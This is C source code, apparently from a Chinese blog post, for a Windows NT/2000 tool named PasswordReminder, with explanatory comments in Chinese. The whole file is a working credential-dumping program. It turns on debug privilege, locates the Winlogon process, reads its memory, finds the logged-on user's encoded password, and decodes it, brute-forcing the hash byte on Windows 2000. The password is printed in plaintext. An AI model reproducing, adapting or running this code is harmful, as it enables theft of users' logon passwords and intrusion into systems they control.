} QUERY_SYSTEM_INFORMATION, *PQUERY_SYSTEM_INFORMATION; typedef struct _PROCESS_INFO_HEADER { DWORD Count; DWORD Unk04; DWORD Unk08; } PROCESS_INFO_HEADER, *PPROCESS_INFO_HEADER; typedef struct _PROCESS_INFO { DWORD LoadAddress; DWORD Size; DWORD Unk08; DWORD Enumerator; DWORD Unk10; char Name [0x108]; } PROCESS_INFO, *PPROCESS_INFO; typedef struct _ENCODED_PASSWORD_INFO { DWORD HashByte; DWORD Unk04; DWORD Unk08; DWORD Unk0C; FILETIME LoggedOn; DWORD Unk18; DWORD Unk1C; DWORD Unk20; DWORD Unk24; DWORD Unk28; UNICODE_STRING EncodedPassword; } ENCODED_PASSWORD_INFO, *PENCODED_PASSWORD_INFO; typedef DWORD (__stdcall *PFNNTQUERYSYSTEMINFORMATION) (DWORD, PVOID, DWORD, PDWORD); typedef PVOID (__stdcall *PFNRTLCREATEQUERYDEBUGBUFFER) (DWORD, DWORD); typedef DWORD (__stdcall *PFNRTLQUERYPROCESSDEBUGINFORMATION) (DWORD, DWORD, PVOID); typedef void (__stdcall *PFNRTLDESTROYQUERYDEBUGBUFFER) (PVOID); typedef void (__stdcall *PFNTRTLRUNDECODEUNICODESTRING) (BYTE, PUNICODE_STRING); // Private Prototypes BOOL IsWinNT (void); BOOL IsWin2K (void); BOOL AddDebugPrivilege (void); DWORD FindWinLogon (void); BOOL LocatePasswordPageWinNT (DWORD, PDWORD); BOOL LocatePasswordPageWin2K (DWORD, PDWORD); void DisplayPasswordWinNT (void); void DisplayPasswordWin2K (void); // Global Variables PFNNTQUERYSYSTEMINFORMATION pfnNtQuerySystemInformation; PFNRTLCREATEQUERYDEBUGBUFFER pfnRtlCreateQueryDebugBuffer; PFNRTLQUERYPROCESSDEBUGINFORMATION pfnRtlQueryProcessDebugInformation; PFNRTLDESTROYQUERYDEBUGBUFFER pfnRtlDestroyQueryDebugBuffer; PFNTRTLRUNDECODEUNICODESTRING pfnRtlRunDecodeUnicodeString; DWORD PasswordLength = 0; PVOID RealPasswordP = NULL; PVOID PasswordP = NULL; DWORD HashByte = 0; wchar_t UserName [0x400]; wchar_t UserDomain [0x400]; int __cdecl main( int argc, char* argv[] ) { printf( "\n\t To Find Password in the Winlogon process\n" ); printf( " Usage: %s DomainName UserName PID-of-WinLogon\n\n", argv[0] ); if ((!IsWinNT ()) && (!IsWin2K ())) { printf ("Windows NT or Windows 2000 are required.\n"); return (0); } // Add debug privilege to PasswordReminder - // this is needed for the search for Winlogon. // 增加PasswordReminder的权限 // 使得PasswordReminder可以打开并调试Winlogon进程 if (!AddDebugPrivilege ()) { printf ("Unable to add debug privilege.\n"); return (0); } printf ("The debug privilege has been added to PasswordReminder.\n"); // 获得几个未公开API的入口地址 HINSTANCE hNtDll = LoadLibrary ("NTDLL.DLL"); pfnNtQuerySystemInformation = (PFNNTQUERYSYSTEMINFORMATION) GetProcAddress (hNtDll, "NtQuerySystemInformation"); pfnRtlCreateQueryDebugBuffer = (PFNRTLCREATEQUERYDEBUGBUFFER) GetProcAddress (hNtDll, "RtlCreateQueryDebugBuffer"); pfnRtlQueryProcessDebugInformation = (PFNRTLQUERYPROCESSDEBUGINFORMATION) GetProcAddress (hNtDll, "RtlQueryProcessDebugInformation"); pfnRtlDestroyQueryDebugBuffer = (PFNRTLDESTROYQUERYDEBUGBUFFER) GetProcAddress (hNtDll, "RtlDestroyQueryDebugBuffer"); pfnRtlRunDecodeUnicodeString = (PFNTRTLRUNDECODEUNICODESTRING) GetProcAddress (hNtDll, "RtlRunDecodeUnicodeString"); // Locate WinLogon's PID - need debug privilege and admin rights. // 获得Winlogon进程的PID // 这里作者使用了几个Native API,其实使用PSAPI一样可以 DWORD WinLogonPID = argc > 3 ? atoi( argv[3] ) : FindWinLogon () ; if (WinLogonPID == 0) { printf ("PasswordReminder is unable to find WinLogon or you are using NWGINA.DLL.\n"); printf ("PasswordReminder is unable to find the password in memory.\n"); FreeLibrary (hNtDll); return (0); } printf("The WinLogon process id is %d (0x%8.8lx).\n", WinLogonPID, WinLogonPID); // Set values to check memory block against. // 初始化几个和用户账号相关的变量 memset(UserName, 0, sizeof (UserName)); memset(UserDomain, 0, sizeof (UserDomain)); if( argc > 2 ) { mbstowcs( UserName, argv[2], sizeof(UserName)/sizeof(*UserName) ); mbstowcs( UserDomain, argv[1], sizeof(UserDomain)/sizeof(*UserDomain) ); }else { GetEnvironmentVariableW(L"USERNAME", UserName, 0x400); GetEnvironmentVariableW(L"USERDOMAIN", UserDomain, 0x400); } printf( " To find %S\\%S password in process %d ...\n", UserDomain, UserName, WinLogonPID ); // Locate the block of memory containing // the password in WinLogon's memory space. // 在Winlogon进程中定位包含Password的内存块 BOOL FoundPasswordPage = FALSE; if (IsWin2K ()) FoundPasswordPage = LocatePasswordPageWin2K (WinLogonPID, &PasswordLength); else FoundPasswordPage = LocatePasswordPageWinNT (WinLogonPID, &PasswordLength); if (FoundPasswordPage) { if (PasswordLength == 0) { printf ("The logon information is: %S/%S.\n", UserDomain, UserName); printf ("There is no password.\n"); } else { printf ("The encoded password is found at 0x%8.8lx and has a length of %d.\n", RealPasswordP, PasswordLength); // Decode the password string. if (IsWin2K ()) DisplayPasswordWin2K (); else DisplayPasswordWinNT (); } } else printf ("PasswordReminder is unable to find the password in memory.\n"); FreeLibrary (hNtDll); return (0); } // main // // IsWinNT函数用来判断操作系统是否WINNT // BOOL IsWinNT (void) { OSVERSIONINFO OSVersionInfo; OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO); if (GetVersionEx (&OSVersionInfo)) return (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT); else return (FALSE); } // IsWinNT // // IsWin2K函数用来判断操作系统是否Win2K // BOOL IsWin2K (void) { OSVERSIONINFO OSVersionInfo; OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO); if (GetVersionEx (&OSVersionInfo)) return ((OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT) && (OSVersionInfo.dwMajorVersion == 5)); else return (FALSE); } // IsWin2K // // AddDebugPrivilege函数用来申请调试Winlogon进程的特权 // BOOL AddDebugPrivilege (void) { HANDLE Token; TOKEN_PRIVILEGES TokenPrivileges, PreviousState; DWORD ReturnLength = 0; if (OpenProcessToken (GetCurrentProcess (), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &Token)) if (LookupPrivilegeValue (NULL, "SeDebugPrivilege", &TokenPrivileges.Privileges[0].Luid)) { TokenPrivileges.PrivilegeCount = 1; TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; return (AdjustTokenPrivileges (Token, FALSE, &TokenPrivileges, sizeof (TOKEN_PRIVILEGES), &PreviousState, &ReturnLength)); } return (FALSE); } // AddDebugPrivilege // // Note that the following code eliminates the need // for PSAPI.DLL as part of the executable. // FindWinLogon函数用来寻找WinLogon进程 // 由于作者使用的是Native API,因此不需要PSAPI的支持 // DWORD FindWinLogon (void) { #define INITIAL_ALLOCATION 0x100 DWORD rc = 0; DWORD SizeNeeded = 0; PVOID InfoP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, INITIAL_ALLOCATION); // Find how much memory is required. pfnNtQuerySystemInformation (0x10, InfoP, INITIAL_ALLOCATION, &SizeNeeded); HeapFree (GetProcessHeap (), 0, InfoP); // Now, allocate the proper amount of memory. InfoP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, SizeNeeded); DWORD SizeWritten = SizeNeeded; if (pfnNtQuerySystemInformation (0x10, InfoP, SizeNeeded, &SizeWritten)) { HeapFree (GetProcessHeap (), 0, InfoP); return (0); } DWORD NumHandles = SizeWritten / sizeof (QUERY_SYSTEM_INFORMATION); if (NumHandles == 0) { HeapFree (GetProcessHeap (), 0, InfoP); return (0); } PQUERY_SYSTEM_INFORMATION QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION) InfoP; DWORD i; for (i = 1; i <= NumHandles; i++) { // "5" is the value of a kernel object type process. if (QuerySystemInformationP->HandleType == 5) { PVOID DebugBufferP = pfnRtlCreateQueryDebugBuffer (0, 0); if (pfnRtlQueryProcessDebugInformation (QuerySystemInformationP->PID, 1, DebugBufferP) == 0) { PPROCESS_INFO_HEADER ProcessInfoHeaderP = (PPROCESS_INFO_HEADER) ((DWORD) DebugBufferP + 0x60); DWORD Count = ProcessInfoHeaderP->Count; PPROCESS_INFO ProcessInfoP = (PPROCESS_INFO) ((DWORD) ProcessInfoHeaderP + sizeof (PROCESS_INFO_HEADER)); if (strstr (_strupr (ProcessInfoP->Name), "WINLOGON") != 0) { DWORD i; DWORD dw = (DWORD) ProcessInfoP; for (i = 0; i < Count; i++) { dw += sizeof (PROCESS_INFO); ProcessInfoP = (PPROCESS_INFO) dw; if (strstr (_strupr (ProcessInfoP->Name), "NWGINA") != 0) return (0); if (strstr (_strupr (ProcessInfoP->Name), "MSGINA") == 0) rc = QuerySystemInformationP->PID; } if (DebugBufferP) pfnRtlDestroyQueryDebugBuffer (DebugBufferP); HeapFree (GetProcessHeap (), 0, InfoP); return (rc); } } if (DebugBufferP) pfnRtlDestroyQueryDebugBuffer (DebugBufferP); } DWORD dw = (DWORD) QuerySystemInformationP; dw += sizeof (QUERY_SYSTEM_INFORMATION); QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION) dw; } HeapFree (GetProcessHeap (), 0, InfoP); return (rc); } // FindWinLogon // // LocatePasswordPageWinNT函数用来在NT中找到用户密码 // BOOL LocatePasswordPageWinNT (DWORD WinLogonPID, PDWORD PasswordLength) { #define USER_DOMAIN_OFFSET_WINNT 0x200 #define USER_PASSWORD_OFFSET_WINNT 0x400 BOOL rc = FALSE; HANDLE WinLogonHandle = OpenProcess (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, WinLogonPID); if (WinLogonHandle == 0) return (rc); *PasswordLength = 0; SYSTEM_INFO SystemInfo; GetSystemInfo (&SystemInfo); DWORD PEB = 0x7ffdf000; DWORD BytesCopied = 0; PVOID PEBP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, SystemInfo.dwPageSize); if (!ReadProcessMemory (WinLogonHandle, (PVOID) PEB, PEBP, SystemInfo.dwPageSize, &BytesCopied)) { CloseHandle (WinLogonHandle); return (rc); } // Grab the value of the 2nd DWORD in the TEB. PDWORD WinLogonHeap = (PDWORD) ((DWORD) PEBP + (6 * sizeof (DWORD))); MEMORY_BASIC_INFORMATION MemoryBasicInformation; if (VirtualQueryEx (WinLogonHandle, (PVOID) *WinLogonHeap, &MemoryBasicInformation, sizeof (MEMORY_BASIC_INFORMATION))) if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT) && ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0)) { PVOID WinLogonMemP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, MemoryBasicInformation.RegionSize); if (ReadProcessMemory (WinLogonHandle, (PVOID) *WinLogonHeap, WinLogonMemP, MemoryBasicInformation.RegionSize, &BytesCopied)) { DWORD i = (DWORD) WinLogonMemP; DWORD UserNamePos = 0; // The order in memory is UserName followed by the UserDomain. // 在内存中搜索UserName和UserDomain字符串 do { if ((wcsicmp (UserName, (wchar_t *) i) == 0) && (wcsicmp (UserDomain, (wchar_t *) (i + USER_DOMAIN_OFFSET_WINNT)) == 0)) { UserNamePos = i; break; } i += 2; } while (i < (DWORD) WinLogonMemP + MemoryBasicInformation.RegionSize); if (UserNamePos) { PENCODED_PASSWORD_INFO EncodedPasswordInfoP = (PENCODED_PASSWORD_INFO) ((DWORD) UserNamePos + USER_PASSWORD_OFFSET_WINNT); FILETIME LocalFileTime; SYSTEMTIME SystemTime; if (FileTimeToLocalFileTime (&EncodedPasswordInfoP->LoggedOn, &LocalFileTime)) if (FileTimeToSystemTime (&LocalFileTime, &SystemTime)) printf ("You logged on at %d/%d/%d %d:%d:%d\n", SystemTime.wMonth, SystemTime.wDay, SystemTime.wYear, SystemTime.wHour, SystemTime.wMinute, SystemTime.wSecond); *PasswordLength = (EncodedPasswordInfoP->EncodedPassword.Length & 0x00ff) / sizeof (wchar_t); // NT就是好,hash-byte直接放在编码中:) HashByte = (EncodedPasswordInfoP->EncodedPassword.Length & 0xff00) >> 8; RealPasswordP = (PVOID) (*WinLogonHeap + (UserNamePos - (DWORD) WinLogonMemP) + USER_PASSWORD_OFFSET_WINNT + 0x34); PasswordP = (PVOID) ((PBYTE) (UserNamePos + USER_PASSWORD_OFFSET_WINNT + 0x34)); rc = TRUE; } } } HeapFree (GetProcessHeap (), 0, PEBP); CloseHandle (WinLogonHandle); return (rc); } // LocatePasswordPageWinNT // // LocatePasswordPageWin2K函数用来在Win2K中找到用户密码 // BOOL LocatePasswordPageWin2K (DWORD WinLogonPID, PDWORD PasswordLength) { #define USER_DOMAIN_OFFSET_WIN2K 0x400 #define USER_PASSWORD_OFFSET_WIN2K 0x800 HANDLE WinLogonHandle = OpenProcess (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, WinLogonPID); if (WinLogonHandle == 0) return (FALSE); *PasswordLength = 0; SYSTEM_INFO SystemInfo; GetSystemInfo (&SystemInfo); DWORD i = (DWORD) SystemInfo.lpMinimumApplicationAddress; DWORD MaxMemory = (DWORD) SystemInfo.lpMaximumApplicationAddress; DWORD Increment = SystemInfo.dwPageSize; MEMORY_BASIC_INFORMATION MemoryBasicInformation; while (i < MaxMemory) { if (VirtualQueryEx (WinLogonHandle, (PVOID) i, &MemoryBasicInformation, sizeof (MEMORY_BASIC_INFORMATION))) { Increment = MemoryBasicInformation.RegionSize; if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT) && ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0)) { PVOID RealStartingAddressP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, MemoryBasicInformation.RegionSize); DWORD BytesCopied = 0; if (ReadProcessMemory (WinLogonHandle, (PVOID) i, RealStartingAddressP, MemoryBasicInformation.RegionSize, &BytesCopied)) { // 在WinLogon的内存空间中寻找UserName和DomainName的字符串 if ((wcsicmp ((wchar_t *) RealStartingAddressP, UserName) == 0) && (wcsicmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0)) { RealPasswordP = (PVOID) (i + USER_PASSWORD_OFFSET_WIN2K); PasswordP = (PVOID) ((DWORD) RealStartingAddressP + USER_PASSWORD_OFFSET_WIN2K); // Calculate the length of encoded unicode string. // 计算出密文的长度 PBYTE p = (PBYTE) PasswordP; DWORD Loc = (DWORD) p; DWORD Len = 0; if ((*p == 0) && (* (PBYTE) ((DWORD) p + 1) == 0)) ; else do { Len++; Loc += 2; p = (PBYTE) Loc; } while (*p != 0); *PasswordLength = Len; CloseHandle (WinLogonHandle); return (TRUE); } } HeapFree (GetProcessHeap (), 0, RealStartingAddressP); } } else Increment = SystemInfo.dwPageSize; // Move to next memory block. i += Increment; } CloseHandle (WinLogonHandle); return (FALSE); } // LocatePasswordPageWin2K // // DisplayPasswordWinNT函数用来在NT中解码用户密码 // void DisplayPasswordWinNT (void) { UNICODE_STRING EncodedString; EncodedString.Length = (WORD) PasswordLength * sizeof (wchar_t); EncodedString.MaximumLength = ((WORD) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t); EncodedString.Buffer = (PWSTR) HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, EncodedString.MaximumLength); CopyMemory (EncodedString.Buffer, PasswordP, PasswordLength * sizeof (wchar_t)); // Finally - decode the password. // Note that only one call is required since the hash-byte // was part of the orginally encoded string. // 在NT中,hash-byte是包含在编码中的 // 因此只需要直接调用函数解码就可以了 pfnRtlRunDecodeUnicodeString ((BYTE) HashByte, &EncodedString); printf ("The logon information is: %S/%S/%S.\n", UserDomain, UserName, EncodedString.Buffer); printf ("The hash byte is: 0x%2.2x.\n", HashByte); HeapFree (GetProcessHeap (), 0, EncodedString.Buffer); } // DisplayPasswordWinNT // // DisplayPasswordWin2K函数用来在Win2K中解码用户密码 // void DisplayPasswordWin2K (void) { DWORD i, Hash = 0; UNICODE_STRING EncodedString; EncodedString.Length = (USHORT) PasswordLength * sizeof (wchar_t); EncodedString.MaximumLength = ((USHORT) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t); EncodedString.Buffer = (PWSTR) HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, EncodedString.MaximumLength); // This is a brute force technique since the hash-byte // is not stored as part of the encoded string - :>(. // 因为在Win2K中hash-byte并不存放在编码中 // 所以在这里进行的是暴力破解 // 下面的循环中i就是hash-byte // 我们将i从0x00到0xff分别对密文进行解密 // 如果有一个hash-byte使得所有密码都是可见字符,就认为是有效的 // 这个算法实际上是从概率角度来解码的 // 因为如果hash-byte不对而解密出来的密码都是可见字符的概率非常小 for (i = 0; i <= 0xff; i++) { CopyMemory (EncodedString.Buffer, PasswordP, PasswordLength * sizeof (wchar_t)); // Finally - try to decode the password. // 使用i作为hash-byte对密文进行解码 pfnRtlRunDecodeUnicodeString ((BYTE) i, &EncodedString); // Check for a viewable password. // 检查解码出的密码是否完全由可见字符组成 // 如果是则认为是正确的解码 PBYTE p = (PBYTE) EncodedString.Buffer; BOOL Viewable = TRUE; DWORD j, k; for (j = 0; (j < PasswordLength) && Viewable; j++) { if ((*p) && (* (PBYTE)(DWORD (p) + 1) == 0)) { if (*p < 0x20) Viewable = FALSE; if (*p > 0x7e) Viewable = FALSE; //0x20是空格,0X7E是~,所有密码允许使用的可见字符都包括在里面了 } else Viewable = FALSE; k = DWORD (p); k++; k++; p = (PBYTE) k; } if (Viewable) { printf ("The logon information is: %S/%S/%S.\n", UserDomain, UserName, EncodedString.Buffer); printf ("The hash byte is: 0x%2.2x.\n", i); } } HeapFree (GetProcessHeap (), 0, EncodedString.Buffer); } // DisplayPasswordWin2K // end PasswordReminder.cpp
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值